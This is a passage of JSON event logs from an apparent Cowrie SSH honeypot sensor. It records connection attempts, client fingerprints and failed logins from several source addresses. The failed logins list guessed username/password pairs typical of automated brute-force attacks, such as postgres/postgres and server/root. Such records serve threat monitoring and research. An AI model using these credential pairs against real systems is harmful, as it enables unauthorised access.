a-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:56.315280Z","src_ip":"160.187.180.146","session":"64fc3644e054","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:56.737052Z","src_ip":"45.153.34.195","session":"6a41953cf93a","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:56.760305Z","src_ip":"91.92.40.36","session":"db5ee57cf1b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:56.763514Z","src_ip":"91.92.40.36","session":"db5ee57cf1b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"simon","password":"simon@123","message":"login attempt [simon/simon@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:57.213843Z","src_ip":"160.187.180.146","session":"64fc3644e054","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"1.9","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:57.453542Z","src_ip":"91.92.40.36","session":"e995d7c860f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"20.9","message":"Connection lost after 20.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:57.463993Z","src_ip":"91.92.40.36","session":"e995d7c860f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":20960,"dst_ip":"10.17.0.5","dst_port":22,"session":"c9ecdc998489","protocol":"ssh","message":"New connection: 45.153.34.195:20960 (10.17.0.5:22) [session: c9ecdc998489]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:58.019834Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:58.028697Z","src_ip":"45.153.34.195","session":"c9ecdc998489","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:58.284508Z","src_ip":"45.153.34.195","session":"c9ecdc998489","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:58.432620Z","src_ip":"160.187.180.146","session":"64fc3644e054","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"carlos","password":"carlos","message":"login attempt [carlos/carlos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:58.663279Z","src_ip":"45.153.34.195","session":"c9ecdc998489","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:59.760387Z","src_ip":"45.153.34.195","session":"c9ecdc998489","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":20976,"dst_ip":"10.17.0.5","dst_port":22,"session":"0fd011785809","protocol":"ssh","message":"New connection: 45.153.34.195:20976 (10.17.0.5:22) [session: 0fd011785809]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:00.804419Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:00.820131Z","src_ip":"45.153.34.195","session":"0fd011785809","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:01.063618Z","src_ip":"45.153.34.195","session":"0fd011785809","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"web","password":"123456","message":"login attempt [web/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:01.420109Z","src_ip":"91.92.40.36","session":"61d31616aa61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"root","message":"login attempt [server/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:01.463861Z","src_ip":"45.153.34.195","session":"0fd011785809","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:02.547601Z","src_ip":"45.153.34.195","session":"0fd011785809","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":42052,"dst_ip":"10.17.0.5","dst_port":22,"session":"a5a5468c2cbb","protocol":"ssh","message":"New connection: 91.92.40.36:42052 (10.17.0.5:22) [session: a5a5468c2cbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:03.750151Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":32740,"dst_ip":"10.17.0.5","dst_port":22,"session":"0dd8f8b0e1ae","protocol":"ssh","message":"New connection: 45.153.34.195:32740 (10.17.0.5:22) [session: 0dd8f8b0e1ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:03.920930Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:03.925890Z","src_ip":"45.153.34.195","session":"0dd8f8b0e1ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:04.017885Z","src_ip":"45.153.34.195","session":"0dd8f8b0e1ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"min","password":"admin","message":"login attempt [min/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:04.145358Z","src_ip":"91.92.40.36","session":"db5ee57cf1b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openhabian","password":"openhabian","message":"login attempt [openhabian/openhabian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:04.422442Z","src_ip":"45.153.34.195","session":"0dd8f8b0e1ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"20.8","message":"Connection lost after 20.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:05.196755Z","src_ip":"91.92.40.36","session":"61d31616aa61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:05.507844Z","src_ip":"45.153.34.195","session":"0dd8f8b0e1ae","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:05.633502Z","src_ip":"91.92.40.36","session":"a5a5468c2cbb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:05.638674Z","src_ip":"91.92.40.36","session":"a5a5468c2cbb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.7","message":"Connection lost after 11.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:06.717377Z","src_ip":"91.92.40.36","session":"db5ee57cf1b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":32756,"dst_ip":"10.17.0.5","dst_port":22,"session":"6e7a4fa37769","protocol":"ssh","message":"New connection: 45.153.34.195:32756 (10.17.0.5:22) [session: 6e7a4fa37769]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:06.753028Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:06.757401Z","src_ip":"45.153.34.195","session":"6e7a4fa37769","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:06.849449Z","src_ip":"45.153.34.195","session":"6e7a4fa37769","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres","message":"login attempt [postgres/postgres] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:07.111898Z","src_ip":"45.153.34.195","session":"6e7a4fa37769","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:08.194777Z","src_ip":"45.153.34.195","session":"6e7a4fa37769","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.70569443702698,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:09.603213Z","src_ip":"172.81.62.90","session":"e6a020c294d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":32768,"dst_ip":"10.17.0.5","dst_port":22,"session":"95a519e4b1c7","protocol":"ssh","message":"New connection: 45.153.34.195:32768 (10.17.0.5:22) [session: 95a519e4b1c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:09.640858Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:09.651825Z","src_ip":"45.153.34.195","session":"95a519e4b1c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:09.739650Z","src_ip":"45.153.34.195","session":"95a519e4b1c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":24498,"dst_ip":"10.17.0.5","dst_port":22,"session":"1402655ade6b","protocol":"ssh","message":"New connection: 91.92.40.36:24498 (10.17.0.5:22) [session: 1402655ade6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:09.757557Z"}
{"eventid":"cowrie.login.failed","username":"iptv","password":"iptv","message":"login attempt [iptv/iptv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:10.055299Z","src_ip":"45.153.34.195","session":"95a519e4b1c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:11.137397Z","src_ip":"45.153.34.195","session":"95a519e4b1c7","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:33:11.963096Z","src_ip":"91.92.40.36","session":"1402655ade6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256"